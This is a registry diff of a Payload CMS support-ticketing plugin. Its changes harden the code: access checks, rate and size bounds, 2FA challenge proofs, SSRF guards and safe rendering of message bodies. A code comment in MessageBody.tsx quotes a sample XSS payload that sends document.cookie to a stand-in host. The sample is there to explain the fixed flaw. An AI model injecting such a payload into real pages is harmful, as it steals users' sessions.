@consilioweb/payload-support 3.0.0 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (77) hide show
  1. package/README.md +58 -14
  2. package/dist/index.cjs +673 -107
  3. package/dist/index.d.cts +40 -5
  4. package/dist/index.d.ts +40 -5
  5. package/dist/index.js +673 -107
  6. package/dist/utils/db.d.ts +34 -0
  7. package/dist/utils/readSettings.d.ts +90 -0
  8. package/dist/views/BillingView/index.js +4 -4
  9. package/dist/views/ChatView/index.js +4 -4
  10. package/dist/views/CrmView/index.js +4 -4
  11. package/dist/views/EmailTrackingView/index.js +4 -4
  12. package/dist/views/ImportConversationView/index.js +4 -4
  13. package/dist/views/LogsView/index.js +4 -2
  14. package/dist/views/NewTicketView/index.js +4 -2
  15. package/dist/views/PendingEmailsView/index.js +4 -4
  16. package/dist/views/SupportDashboardView/index.js +4 -4
  17. package/dist/views/TicketDetailView/index.js +4 -4
  18. package/dist/views/TicketInboxView/index.js +4 -2
  19. package/dist/views/TicketingSettingsView/index.js +4 -4
  20. package/dist/views/TimeDashboardView/index.js +4 -4
  21. package/dist/views/shared/viewAccess.d.ts +29 -0
  22. package/dist/views/shared/viewAccess.js +24 -0
  23. package/package.json +26 -20
  24. package/src/collections/ChatMessages.ts +59 -2
  25. package/src/collections/ClientSummaries.ts +10 -4
  26. package/src/collections/TicketMessages.ts +4 -1
  27. package/src/collections/WebhookEndpoints.ts +44 -2
  28. package/src/endpoints/admin-chat.ts +3 -3
  29. package/src/endpoints/ai-agent.ts +3 -3
  30. package/src/endpoints/ai.ts +3 -3
  31. package/src/endpoints/auth-2fa.ts +68 -11
  32. package/src/endpoints/capabilities.ts +7 -9
  33. package/src/endpoints/chat.ts +7 -5
  34. package/src/endpoints/chatbot.ts +50 -4
  35. package/src/endpoints/client-intelligence.ts +4 -4
  36. package/src/endpoints/email-stats.ts +19 -3
  37. package/src/endpoints/import-conversation.ts +3 -3
  38. package/src/endpoints/index.ts +1 -1
  39. package/src/endpoints/invite-collaborator.ts +29 -3
  40. package/src/endpoints/login.ts +28 -5
  41. package/src/endpoints/oauth-google.ts +130 -8
  42. package/src/endpoints/push.ts +14 -1
  43. package/src/endpoints/resend-notification.ts +3 -3
  44. package/src/endpoints/send-reminder.ts +3 -3
  45. package/src/endpoints/signature.ts +9 -2
  46. package/src/endpoints/statuses.ts +17 -0
  47. package/src/endpoints/ticket-synthesis.ts +3 -3
  48. package/src/endpoints/transfer-ticket.ts +28 -3
  49. package/src/endpoints/typing.ts +117 -14
  50. package/src/endpoints/user-prefs.ts +5 -2
  51. package/src/plugin.ts +12 -0
  52. package/src/portal/auth/layout.tsx +19 -1
  53. package/src/portal/auth/tickets/detail/MessageBody.tsx +88 -0
  54. package/src/portal/auth/tickets/detail/page.tsx +2 -6
  55. package/src/portal/login/page.tsx +23 -5
  56. package/src/utils/fireWebhooks.ts +4 -1
  57. package/src/utils/push.ts +22 -0
  58. package/src/utils/rateLimiter.ts +136 -4
  59. package/src/utils/readSettings.ts +124 -14
  60. package/src/utils/ticketAccess.ts +16 -1
  61. package/src/utils/twoFactorChallenge.ts +85 -0
  62. package/src/utils/urlSafety.ts +265 -0
  63. package/src/utils/webhookDispatcher.ts +5 -1
  64. package/src/views/BillingView/index.tsx +4 -4
  65. package/src/views/ChatView/index.tsx +4 -4
  66. package/src/views/CrmView/index.tsx +4 -4
  67. package/src/views/EmailTrackingView/index.tsx +4 -4
  68. package/src/views/ImportConversationView/index.tsx +4 -4
  69. package/src/views/LogsView/index.tsx +4 -2
  70. package/src/views/NewTicketView/index.tsx +4 -2
  71. package/src/views/PendingEmailsView/index.tsx +4 -4
  72. package/src/views/SupportDashboardView/index.tsx +4 -4
  73. package/src/views/TicketDetailView/index.tsx +4 -4
  74. package/src/views/TicketInboxView/index.tsx +4 -2
  75. package/src/views/TicketingSettingsView/index.tsx +4 -4
  76. package/src/views/TimeDashboardView/index.tsx +4 -4
  77. package/src/views/shared/viewAccess.ts +73 -0
@@ -1,10 +1,36 @@
1
- import type { Endpoint } from 'payload'
1
+ import type { Endpoint, PayloadRequest } from 'payload'
2
2
  import type { CollectionSlugs } from '../utils/slugs'
3
+ import { dbFindByID } from '../utils/db'
3
4
 
4
- // In-memory typing state (ticketId -> { admin?: timestamp, client?: timestamp })
5
+ /**
6
+ * Ephemeral "someone is typing" state, process-local.
7
+ *
8
+ * Three properties this map MUST keep, because it is fed by an HTTP endpoint:
9
+ * - keys are shaped like ticket ids, never a caller-supplied blob;
10
+ * - a key is only created by a principal that can actually READ that ticket;
11
+ * - the map is bounded, and expired entries are reclaimed without depending on
12
+ * a matching GET (`cleanExpired` used to run only on the read path, for the
13
+ * single id being read — nothing ever swept the rest).
14
+ */
5
15
  const typingState = new Map<string, { admin?: number; client?: number; adminName?: string; clientName?: string }>()
6
16
 
7
17
  const TYPING_TTL = 5000 // 5 seconds
18
+ /** Hard ceiling on distinct ticket ids held at once — the state lives 5s. */
19
+ const MAX_TYPING_KEYS = 500
20
+
21
+ /**
22
+ * Ids are integers on SQL adapters and hex ObjectIds on Mongo, so the shape is
23
+ * validated rather than the type: printable id characters, bounded length. This
24
+ * caps the key SIZE; the access check below caps their NUMBER.
25
+ */
26
+ const TICKET_ID_PATTERN = /^[A-Za-z0-9_-]{1,64}$/
27
+
28
+ function normalizeTicketId(raw: unknown): string | null {
29
+ if (typeof raw === 'number') return Number.isInteger(raw) && raw > 0 ? String(raw) : null
30
+ if (typeof raw !== 'string') return null
31
+ const value = raw.trim()
32
+ return TICKET_ID_PATTERN.test(value) ? value : null
33
+ }
8
34
 
9
35
  function cleanExpired(ticketId: string) {
10
36
  const state = typingState.get(ticketId)
@@ -21,6 +47,53 @@ function cleanExpired(ticketId: string) {
21
47
  if (!state.admin && !state.client) typingState.delete(ticketId)
22
48
  }
23
49
 
50
+ /** Reclaims every expired entry — the map is at most MAX_TYPING_KEYS long. */
51
+ function sweepExpired() {
52
+ for (const key of Array.from(typingState.keys())) cleanExpired(key)
53
+ }
54
+
55
+ /** Oldest signal first, so the ceiling evicts the least recently active ticket. */
56
+ function evictOldest() {
57
+ let oldestKey: string | null = null
58
+ let oldestTs = Infinity
59
+ for (const [key, state] of typingState) {
60
+ const ts = Math.max(state.admin || 0, state.client || 0)
61
+ if (ts < oldestTs) {
62
+ oldestTs = ts
63
+ oldestKey = key
64
+ }
65
+ }
66
+ if (oldestKey !== null) typingState.delete(oldestKey)
67
+ }
68
+
69
+ /**
70
+ * Can this principal see this ticket? Delegates to the `tickets` collection
71
+ * access rules — the SAME source of truth the rest of the plugin reads through
72
+ * (owner, collaborator, team scoping), instead of a second implementation that
73
+ * would drift from it. Any other auth collection of the host app is refused
74
+ * outright: the endpoint only ever spoke for staff and support-clients.
75
+ */
76
+ async function mayAccessTicket(
77
+ req: PayloadRequest,
78
+ slugs: CollectionSlugs,
79
+ ticketId: string,
80
+ ): Promise<boolean> {
81
+ const collection = (req.user as { collection?: string } | null)?.collection
82
+ if (collection !== slugs.users && collection !== slugs.supportClients) return false
83
+ try {
84
+ const doc = await dbFindByID(req.payload, slugs.tickets, {
85
+ id: ticketId,
86
+ depth: 0,
87
+ overrideAccess: false,
88
+ user: req.user,
89
+ })
90
+ return !!doc
91
+ } catch {
92
+ // Forbidden or NotFound — same answer either way, so no existence oracle.
93
+ return false
94
+ }
95
+ }
96
+
24
97
  /**
25
98
  * POST /api/support/typing — Signal that user is typing
26
99
  */
@@ -34,14 +107,23 @@ export function createTypingPostEndpoint(slugs: CollectionSlugs): Endpoint {
34
107
  return Response.json({ error: 'Unauthorized' }, { status: 401 })
35
108
  }
36
109
 
37
- const { ticketId } = (await req.json!()) as { ticketId: number }
38
- if (!ticketId) {
110
+ const { ticketId } = (await req.json!()) as { ticketId?: unknown }
111
+ const key = normalizeTicketId(ticketId)
112
+ if (!key) {
39
113
  return Response.json({ error: 'ticketId required' }, { status: 400 })
40
114
  }
41
115
 
42
- const key = String(ticketId)
116
+ if (!(await mayAccessTicket(req, slugs, key))) {
117
+ return Response.json({ error: 'Forbidden' }, { status: 403 })
118
+ }
119
+
43
120
  const state = typingState.get(key) || {}
44
121
 
122
+ if (!typingState.has(key) && typingState.size >= MAX_TYPING_KEYS) {
123
+ sweepExpired()
124
+ if (typingState.size >= MAX_TYPING_KEYS) evictOldest()
125
+ }
126
+
45
127
  if (req.user.collection === slugs.users) {
46
128
  state.admin = Date.now()
47
129
  state.adminName = (req.user as any).firstName || 'Support'
@@ -67,35 +149,56 @@ export function createTypingGetEndpoint(slugs: CollectionSlugs): Endpoint {
67
149
  path: '/support/typing',
68
150
  method: 'get',
69
151
  handler: async (req) => {
152
+ const idle = { typing: false, name: null }
70
153
  try {
71
154
  if (!req.user) {
72
155
  return Response.json({ error: 'Unauthorized' }, { status: 401 })
73
156
  }
74
157
 
75
158
  const url = new URL(req.url!)
76
- const ticketId = url.searchParams.get('ticketId')
77
- if (!ticketId) {
159
+ const key = normalizeTicketId(url.searchParams.get('ticketId'))
160
+ if (!key) {
78
161
  return Response.json({ error: 'ticketId required' }, { status: 400 })
79
162
  }
80
163
 
81
- cleanExpired(ticketId)
82
- const state = typingState.get(ticketId)
164
+ cleanExpired(key)
165
+ const state = typingState.get(key)
166
+
167
+ // Nothing to disclose: answer without touching the database. A caller
168
+ // with no right to the ticket gets this exact body too, so "idle" and
169
+ // "not yours" stay indistinguishable — and the 2s poll of every open
170
+ // ticket page costs no query in the common case.
171
+ if (!state) return Response.json(idle)
172
+
173
+ // There IS a name to hand out (the agent's first name, historically
174
+ // served to any authenticated caller for any ticket id) — check first.
175
+ if (!(await mayAccessTicket(req, slugs, key))) return Response.json(idle)
83
176
 
84
177
  // Admin sees client typing, client sees admin typing
85
178
  if (req.user.collection === slugs.users) {
86
179
  return Response.json({
87
- typing: !!state?.client,
88
- name: state?.clientName || null,
180
+ typing: !!state.client,
181
+ name: state.clientName || null,
89
182
  })
90
183
  } else {
91
184
  return Response.json({
92
- typing: !!state?.admin,
93
- name: state?.adminName || null,
185
+ typing: !!state.admin,
186
+ name: state.adminName || null,
94
187
  })
95
188
  }
96
189
  } catch {
97
- return Response.json({ typing: false, name: null })
190
+ return Response.json(idle)
98
191
  }
99
192
  },
100
193
  }
101
194
  }
195
+
196
+ /** Test seam — the module-level map must not leak state across test cases. */
197
+ export function __resetTypingStateForTests(): void {
198
+ typingState.clear()
199
+ }
200
+
201
+ /** Test seam — the ceiling is the point of the fix, so it must be observable. */
202
+ export function __typingStateSizeForTests(): number {
203
+ return typingState.size
204
+ }
@@ -30,8 +30,11 @@ export function createUserPrefsGetEndpoint(slugs: CollectionSlugs): Endpoint {
30
30
 
31
31
  const key = `${PREF_KEY_PREFIX}-${req.user!.id}`
32
32
 
33
+ // Scope to the staff auth collection: `payload-preferences` accepts a
34
+ // write from ANY authenticated principal, and ids collide between auth
35
+ // collections.
33
36
  const prefs = await dbFind(payload, 'payload-preferences', {
34
- where: { key: { equals: key } },
37
+ where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
35
38
  limit: 1,
36
39
  depth: 0,
37
40
  overrideAccess: true,
@@ -75,7 +78,7 @@ export function createUserPrefsPostEndpoint(slugs: CollectionSlugs): Endpoint {
75
78
 
76
79
  // Read existing prefs to merge
77
80
  const existing = await dbFind(payload, 'payload-preferences', {
78
- where: { key: { equals: key } },
81
+ where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
79
82
  limit: 1,
80
83
  depth: 0,
81
84
  overrideAccess: true,
package/src/plugin.ts CHANGED
@@ -31,6 +31,7 @@ import {
31
31
  createSupportCountersCollection,
32
32
  } from './collections'
33
33
  import { PayloadRateLimitStore } from './utils/rateLimiter'
34
+ import { SUPPORT_STAFF_SLUG_CONFIG_KEY } from './utils/readSettings'
34
35
 
35
36
  function viewConfig(component: string, path: string): AdminViewConfig {
36
37
  return { Component: component, path: path as `/${string}` }
@@ -169,6 +170,17 @@ export function supportPlugin(config?: SupportPluginConfig): Plugin {
169
170
 
170
171
  return {
171
172
  ...incomingConfig,
173
+ // Publish the resolved staff collection so the server-side readers share
174
+ // ONE source of truth with the writers. `requireAdmin` compares against
175
+ // `slugs.users`; the `payload-preferences` reads used to scope themselves
176
+ // on `config.admin.user`, which Payload silently defaults to the first
177
+ // auth collection of the host app — a different collection on any app
178
+ // that declares `collectionSlugs.users`, and the settings-poisoning hole
179
+ // reopened right there.
180
+ custom: {
181
+ ...incomingConfig.custom,
182
+ [SUPPORT_STAFF_SLUG_CONFIG_KEY]: slugs.users,
183
+ },
172
184
  collections: config?.skipCollections
173
185
  ? existingCollections
174
186
  : [...existingCollections, ...supportCollections],
@@ -18,8 +18,26 @@ export type SupportUser = {
18
18
  collection: 'support-clients'
19
19
  }
20
20
 
21
+ /**
22
+ * The ONLY reliable discriminant is the auth collection the session belongs to.
23
+ *
24
+ * This used to be a duck test on the presence of a `company` field, which any
25
+ * user of another auth collection of the host app (front-office members,
26
+ * subscribers — `company` is a very common field on such a document) satisfied:
27
+ * they entered the portal shell instead of being redirected to the login page.
28
+ *
29
+ * `'support-clients'` is hard-coded on purpose — every other portal file already
30
+ * hard-codes it (`/api/support-clients/login`, `/api/support-clients/me`, the
31
+ * `user.collection` tests in `tickets/detail/page.tsx`), because the portal is a
32
+ * copied template with no access to the plugin's resolved `collectionSlugs`. An
33
+ * integrator who renames the collection must adjust the whole template.
34
+ */
21
35
  function isSupportUser(user: unknown): user is SupportUser {
22
- return typeof user === 'object' && user !== null && 'company' in user
36
+ return (
37
+ typeof user === 'object' &&
38
+ user !== null &&
39
+ (user as { collection?: unknown }).collection === 'support-clients'
40
+ )
23
41
  }
24
42
 
25
43
  async function getSupportUser(): Promise<SupportUser | null> {
@@ -0,0 +1,88 @@
1
+ import React from 'react'
2
+
3
+ /**
4
+ * Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
5
+ *
6
+ * This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
7
+ * replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
8
+ * target into `href="$2"`. Since the URL pattern accepts every character but
9
+ * whitespace and `)`, a body such as
10
+ *
11
+ * [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
12
+ *
13
+ * closed the `href` attribute and added a real event-handler attribute.
14
+ * `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
15
+ * pipeline copies `pendingEmail.body` verbatim into a ticket message
16
+ * (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
17
+ * looks at `bodyHtml`.
18
+ *
19
+ * The fix is to stop building HTML: React escapes text nodes and attribute
20
+ * values on its own, so no quoting mistake is possible. The URL is additionally
21
+ * parsed and restricted to http/https before it reaches an `href`.
22
+ *
23
+ * Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
24
+ */
25
+
26
+ /** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
27
+ const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
28
+
29
+ /** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
30
+ export function safeHttpUrl(raw: string): string | null {
31
+ try {
32
+ const url = new URL(raw)
33
+ if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
34
+ return url.toString()
35
+ } catch {
36
+ return null
37
+ }
38
+ }
39
+
40
+ /**
41
+ * Split a plain-text body into text nodes and `<a>` elements.
42
+ * Exported (rather than inlined in the page) so the escaping contract is
43
+ * unit-testable — the page itself imports `@payload-config` and cannot be
44
+ * loaded from a test.
45
+ */
46
+ export function renderPlainMessageBody(body: string): React.ReactNode[] {
47
+ const nodes: React.ReactNode[] = []
48
+ const re = new RegExp(CODE_LINK_RE.source, 'g')
49
+ let lastIndex = 0
50
+ let match: RegExpExecArray | null
51
+
52
+ while ((match = re.exec(body)) !== null) {
53
+ if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
54
+
55
+ const href = safeHttpUrl(match[2])
56
+ if (href) {
57
+ nodes.push(
58
+ <a
59
+ key={`code-${match.index}`}
60
+ href={href}
61
+ target="_blank"
62
+ rel="noopener noreferrer"
63
+ className="text-blue-600 underline font-semibold"
64
+ >
65
+ 🔗 Voir le code partagé
66
+ </a>,
67
+ )
68
+ } else {
69
+ // Not a usable link — show the raw marker as text rather than dropping it.
70
+ nodes.push(match[0])
71
+ }
72
+
73
+ lastIndex = match.index + match[0].length
74
+ }
75
+
76
+ if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
77
+ return nodes
78
+ }
79
+
80
+ export function PlainMessageBody({ body }: { body: string }) {
81
+ return (
82
+ <div className="whitespace-pre-wrap text-sm leading-relaxed">
83
+ {renderPlainMessageBody(body ?? '').map((node, i) => (
84
+ <React.Fragment key={i}>{node}</React.Fragment>
85
+ ))}
86
+ </div>
87
+ )
88
+ }
@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
16
16
  import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
17
17
  import { ReadReceipt } from './ReadReceipt'
18
18
  import { TransferAndInviteActions } from './TransferAndInviteActions'
19
+ import { PlainMessageBody } from './MessageBody'
19
20
  // Document type for ticket attachments
20
21
  type PayloadDocument = { filename?: string; title?: string; url?: string }
21
22
 
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
655
656
  dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
656
657
  />
657
658
  ) : (
658
- <div className="whitespace-pre-wrap text-sm leading-relaxed" dangerouslySetInnerHTML={{
659
- __html: msg.body
660
- .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
661
- .replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
662
- .replace(/\n/g, '<br/>')
663
- }} />
659
+ <PlainMessageBody body={msg.body} />
664
660
  )}
665
661
 
666
662
  {/* Attachments */}
@@ -32,6 +32,13 @@ function SupportLoginContent() {
32
32
 
33
33
  // 2FA state
34
34
  const [needs2FA, setNeeds2FA] = useState(false)
35
+ // Proof that the password step succeeded, minted by /support/login. Required
36
+ // by BOTH branches of /support/2fa: `send` no longer mails a code to anyone
37
+ // who merely knows the address, and `verify` no longer lets such a caller
38
+ // burn the 5 verification attempts of the address they typed. Each accepted
39
+ // `send` returns a refreshed proof, so it stays valid as long as the code it
40
+ // just minted — keep the latest one.
41
+ const [challenge, setChallenge] = useState('')
35
42
  const [twoFactorCode, setTwoFactorCode] = useState('')
36
43
  const [sending2FA, setSending2FA] = useState(false)
37
44
 
@@ -60,13 +67,16 @@ function SupportLoginContent() {
60
67
  if (data.requires2FA) {
61
68
  // Send 2FA code
62
69
  setSending2FA(true)
70
+ setChallenge(data.challenge || '')
63
71
  const codeRes = await fetch('/api/support/2fa', {
64
72
  method: 'POST',
65
73
  headers: { 'Content-Type': 'application/json' },
66
- body: JSON.stringify({ action: 'send', email }),
74
+ body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
67
75
  })
68
76
 
69
77
  if (codeRes.ok) {
78
+ const codeData = await codeRes.json().catch(() => ({}))
79
+ if (codeData?.challenge) setChallenge(codeData.challenge)
70
80
  setNeeds2FA(true)
71
81
  } else {
72
82
  setError('Erreur lors de l\'envoi du code de vérification.')
@@ -93,13 +103,16 @@ function SupportLoginContent() {
93
103
  const verifyRes = await fetch('/api/support/2fa', {
94
104
  method: 'POST',
95
105
  headers: { 'Content-Type': 'application/json' },
96
- body: JSON.stringify({ action: 'verify', email, code: twoFactorCode }),
106
+ body: JSON.stringify({ action: 'verify', email, code: twoFactorCode, challenge }),
97
107
  })
98
108
 
99
109
  const verifyData = await verifyRes.json()
100
110
 
101
111
  if (!verifyRes.ok || !verifyData.verified) {
102
- setError(verifyData.error || 'Code incorrect.')
112
+ // 401 = the proof of the password step expired (10 min), not a bad code.
113
+ setError(verifyRes.status === 401
114
+ ? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
115
+ : verifyData.error || 'Code incorrect.')
103
116
  return
104
117
  }
105
118
 
@@ -130,12 +143,17 @@ function SupportLoginContent() {
130
143
  const res = await fetch('/api/support/2fa', {
131
144
  method: 'POST',
132
145
  headers: { 'Content-Type': 'application/json' },
133
- body: JSON.stringify({ action: 'send', email }),
146
+ body: JSON.stringify({ action: 'send', email, challenge }),
134
147
  })
135
148
  if (res.ok) {
149
+ const data = await res.json().catch(() => ({}))
150
+ if (data?.challenge) setChallenge(data.challenge)
136
151
  setError('')
137
152
  } else {
138
- setError('Erreur lors du renvoi du code.')
153
+ // 401 = the challenge expired (10 min): the password must be re-entered.
154
+ setError(res.status === 401
155
+ ? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
156
+ : 'Erreur lors du renvoi du code.')
139
157
  }
140
158
  } catch {
141
159
  setError('Erreur de connexion.')
@@ -1,6 +1,7 @@
1
1
  import type { Payload } from 'payload'
2
2
  import type { CollectionSlugs } from './slugs'
3
3
  import { dbFind, dbUpdate } from './db'
4
+ import { safeFetch } from './urlSafety'
4
5
 
5
6
  /**
6
7
  * Fire all active webhooks matching the given event.
@@ -39,7 +40,9 @@ export async function fireWebhooks(
39
40
  await Promise.allSettled(
40
41
  endpoints.docs.map(async (endpoint: any) => {
41
42
  try {
42
- const res = await fetch(endpoint.url, {
43
+ // Same SSRF guards as `dispatchWebhook` — this transport is deprecated
44
+ // but still exported, so it must not stay an open door.
45
+ const res = await safeFetch(endpoint.url, {
43
46
  method: 'POST',
44
47
  headers: {
45
48
  'Content-Type': 'application/json',
package/src/utils/push.ts CHANGED
@@ -2,6 +2,7 @@ import type { Payload } from 'payload'
2
2
  import type { CollectionSlugs } from './slugs'
3
3
  import { dbFind, dbDelete } from './db'
4
4
  import webpush from 'web-push'
5
+ import { assertPublicHost, validatePushEndpoint } from './urlSafety'
5
6
 
6
7
  let configured = false
7
8
  function ensureVapid(): boolean {
@@ -43,6 +44,27 @@ export async function sendPushToUser(
43
44
  for (const s of subs.docs) {
44
45
  const row = s as { id: number | string; endpoint?: string; p256dh?: string; auth?: string }
45
46
  if (!row.endpoint || !row.p256dh || !row.auth) continue
47
+
48
+ // SEND-time SSRF guard, the second of the two layers `utils/urlSafety`
49
+ // describes. It is not redundant with the write-time check: it also covers
50
+ // rows persisted BEFORE that check existed, and a name whose DNS record is
51
+ // flipped to a private address after the row was accepted. `web-push`
52
+ // builds its own `https.request`, so `safeFetch` cannot wrap it — this is
53
+ // the layer that stands in for it.
54
+ //
55
+ // A blocked row is SKIPPED, never deleted: `assertPublicHost` fails closed
56
+ // on a resolver timeout, and a hiccup must not purge a legitimate agent's
57
+ // subscription. Only a real 404/410 from the push service prunes below.
58
+ const check = validatePushEndpoint(row.endpoint)
59
+ if (!check.ok || !check.url) {
60
+ console.warn('[support] Push endpoint refused (unsafe URL):', check.reason)
61
+ continue
62
+ }
63
+ if (!(await assertPublicHost(check.url.hostname))) {
64
+ console.warn('[support] Push endpoint refused (host resolves to a private address)')
65
+ continue
66
+ }
67
+
46
68
  try {
47
69
  await webpush.sendNotification(
48
70
  { endpoint: row.endpoint, keys: { p256dh: row.p256dh, auth: row.auth } },